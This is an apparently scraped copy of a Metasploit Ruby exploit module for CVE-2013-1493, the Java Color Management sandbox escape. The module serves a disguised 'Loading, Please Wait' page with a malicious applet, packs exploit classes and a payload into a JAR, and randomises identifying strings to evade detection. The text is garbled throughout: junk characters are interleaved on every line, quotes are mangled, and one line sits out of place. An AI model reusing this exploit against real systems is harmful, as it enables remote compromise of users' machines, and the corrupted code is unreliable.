##
( A+ S- S) w u% s4 }$ i/ [8 u% S! l' `3 B0 E- Q) T
# This file is part of the Metasploit Framework and may be subject to) F7 A$ |/ s0 K l
# redistribution and commercial restrictions. Please see the Metasploit
0 @2 Z$ A1 k3 F+ \7 s. F1 l7 p# web site for more information on licensing and terms of use.
, w" J+ w/ z+ N) l# w# http://metasploit.com/4 ? B3 [: S$ V' A* q' S, X- B
##3 t: @9 v4 _( v4 {' M3 \4 m9 f
require ‘msf/core’
, L; h+ S n. [$ o) J: a2 k, H+ ^6 Prequire ‘rex’
* E1 w n Z- U! k# P- sclass Metasploit3 < Msf::Exploit::Remote
$ d2 w& I) ?) G9 cRank = NormalRanking+ {5 [; g# m- J4 u2 f" Q9 a
include Msf::Exploit::Remote::HttpServer::HTML
f' }+ V) @2 r7 ?' D" r% {3 Uinclude Msf::Exploit::EXE$ k0 `6 u! i: }5 Z
include Msf::Exploit::Remote::BrowserAutopwn& H) O+ [' ?* h) L' G
autopwn_info({ :javascript => false })
& A* L7 F# d; V* V9 o: v8 Udef initialize( info = {} )3 G. J u9 O7 \% G0 c/ L
super( update_info( info,) p/ s4 B A+ H2 @
‘Name’ => ‘Java CMM Remote Code Execution’,6 l( ^) B6 y1 w" `5 Z R$ w
‘Description’ => %q{
6 v: V4 o8 C+ o: r( mThis module abuses the Color Management classes from a Java Applet to run
7 K. P: H8 D3 p7 W3 q larbitrary Java code outside of the sandbox as exploited in the wild in February* O+ `) ?: @" n' x2 Q, ~. P
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41! z# c, a, a+ N1 Z) V
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP19 f2 Y8 U i6 k( z! t5 R+ Q+ i' {
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java, |. r+ G4 w3 k& F4 X9 L
warning in order to run the malicious applet.
! v& N. D. @* S/ F},
$ b. B( K- E( m! V$ m‘License’ => MSF_LICENSE,
; w( f6 `# f- P& q‘Author’ =>
) j- C/ M( N1 Z3 ]; U! R* @: b: s'Unknown', # Vulnerability discovery and Exploit
% O' G% u$ R& W' w; ]'juan vazquez' # Metasploit module (just ported the published exploit)& g- @2 c3 k5 N4 q/ b
],$ w0 x! Q; ?* Q8 ~9 p
‘References’ =>+ F( `+ S8 d$ }8 s5 W( s
[) O# I( d: R6 y0 M, k
[ 'CVE', '2013-1493' ],2 [( _8 _- Z P& u
[ 'OSVDB', '90737' ],
1 J; H b8 _) w: Z7 B( \# w9 X[ 'BID', '58238' ],2 y9 M1 r" a5 X* @* c
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ], U8 E$ x8 r2 W
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
4 {" R4 l) V1 M" o! ?[ 'URL', 'http://pastie.org/pastes/6581034' ]0 t2 \- f0 L0 ]4 o
],: D6 _% t* @2 b/ S
‘Platform’ => [ 'win', 'java' ],& K/ k" ]5 |9 y' Z
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
% E; C: f' {' l2 f3 E8 C3 @) S! \' e‘Targets’ =>
! k1 b8 ~& ~4 y[
n( _0 |7 g4 G- e( H5 }' b4 ^8 U[ 'Generic (Java Payload)',
5 r {# ~' V- \& x- o3 O. J{
6 x6 x4 N, n! A. D+ `' N! W'Platform' => 'java',
* J7 Y) y# J7 F2 y& v+ j) \) e3 A1 E'Arch' => ARCH_JAVA
- R1 n$ j) t1 M; j3 J}6 S+ u: y' e% S @0 g& X9 d
],8 q* v$ `: Q+ q& r
[ 'Windows x86 (Native Payload)',
; e+ O: k. ^/ B; M{
g4 O3 g% ?" J'Platform' => 'win',
; q+ N7 x- S1 m- V3 m'Arch' => ARCH_X86
2 k" U/ Z y3 j- O8 Q8 r5 a}6 N7 y! v3 U4 C9 D& ]- X
]8 U- _" b2 e7 s5 N: t
],( Y' Z: i6 r" h
‘‘DisclosureDate’ => ‘Mar 01 2013′5 p; b. d# c- P& z4 D3 ?
))
& S" R( F: L% o+ [. g4 S! Fend' F# L' b2 q" \, L
def setup ~& O" x9 t! P7 K
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)& b" [# m5 G+ S$ b3 S3 [! u3 I
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% i; t6 w# b8 ^6 x* B* Q7 Gpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)1 f3 n0 e! V. L' X
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }9 ]9 z4 }% _, W6 u1 O/ f# l1 }
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
" U# y- ~2 O$ c- l' u@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
, Z9 m- V3 q. L7 x G `1 _; h! N! e# kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)- x2 Y) }( y$ l" u
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* A* a! S4 V8 |@init_class_name = rand_text_alpha(“Init”.length)2 r. {# o1 g* w
@init_class.gsub!(“Init”, @init_class_name)( Z# z" ^# k& M6 Y
super l& H1 Q2 i, H: Y+ `6 Y: v
end p! o" o2 B. O: F8 K3 E
def on_request_uri(cli, request)
1 n) a# V. P' t! n/ Z; Fprint_status(“handling request for #{request.uri}”)+ m% i: V' z! X; E% r
case request.uri5 C/ E# J2 c& H
when /\.jar$/i
. z3 f. O. \0 x0 r2 hjar = payload.encoded_jar* ^6 @* \& [- b/ h
jar.add_file(“#{@init_class_name}.class”, @init_class)
- N7 z6 C& ~# S+ Y# q! K* bjar.add_file(“Leak.class”, @leak_class)
$ Q3 H: b8 d. Q9 Z6 _3 k/ `8 s: sjar.add_file(“MyBufferedImage.class”, @buffered_image_class)' z8 j A4 o9 `( i/ X- Q. {$ v( i
jar.add_file(“MyColorSpace.class”, @color_space_class)7 G8 S7 j3 w8 W- y+ A5 ]# r; f
DefaultTarget’ => 1,
& F2 X ~* F5 j2 [9 cmetasploit_str = rand_text_alpha(“metasploit”.length)5 a7 s+ w! Z+ S: W8 ?
payload_str = rand_text_alpha(“payload”.length)
# F5 p0 M( U- b4 J& X+ y8 x! Rjar.entries.each { |entry|! a/ J8 P& W7 o4 }
entry.name.gsub!(“metasploit”, metasploit_str)/ U) l9 C" g2 h; F. O* s
entry.name.gsub!(“Payload”, payload_str)
6 @, E# |, J2 L `entry.data = entry.data.gsub(“metasploit”, metasploit_str)
- y/ m& z8 ^ oentry.data = entry.data.gsub(“Payload”, payload_str)
' x$ X8 J% [- ?; c' `* A0 j}" h5 B2 M8 n* ^( L' L
jar.build_manifest
% R; n) P# Z3 a& y' S4 k& e, a% _send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
$ P$ Y; L9 ~" L" t) I* |when /\/$/
7 O% E: J* C. G+ e/ H# gpayload = regenerate_payload(cli)
- f0 N, |' k7 xif not payload$ @) G+ {, f: C3 C" K; Q$ w- j0 B! L
print_error(“Failed to generate the payload.”)) |0 {4 w7 d" e& ^+ s, B
send_not_found(cli); j; x* p: t( v5 f
return; p$ N5 E) i4 V9 P( x
end3 b; {; q8 }5 N, @
send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
) t, J. |: j lelse
: a1 W+ o9 M _0 b! Z4 L3 X; J: K4 Gsend_redirect(cli, get_resource() + ‘/’, ”)
5 c, n5 y# K3 C# q+ a$ y+ aend
% b/ @" G* I! f5 n" N9 Mend
: g1 {6 [6 H7 ~3 `! o7 K: i8 Tdef generate_html* {% I/ d9 r' K- {9 V! c8 d
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|7 D- _$ k2 x: o9 X$ l- u& m7 H+ \
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|/ r, C6 K( p9 Z$ ?
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
2 s1 u" O( s" F! Chtml += %Q|</applet></body></html>|
/ @( f9 ^. ~! Wreturn html
- R t1 A+ G6 r$ H5 V9 vend
3 R5 t4 R2 B' y: Z" xend
& A) j h: U$ J8 t2 C" Hend) Y1 a1 m% S5 ]: W
|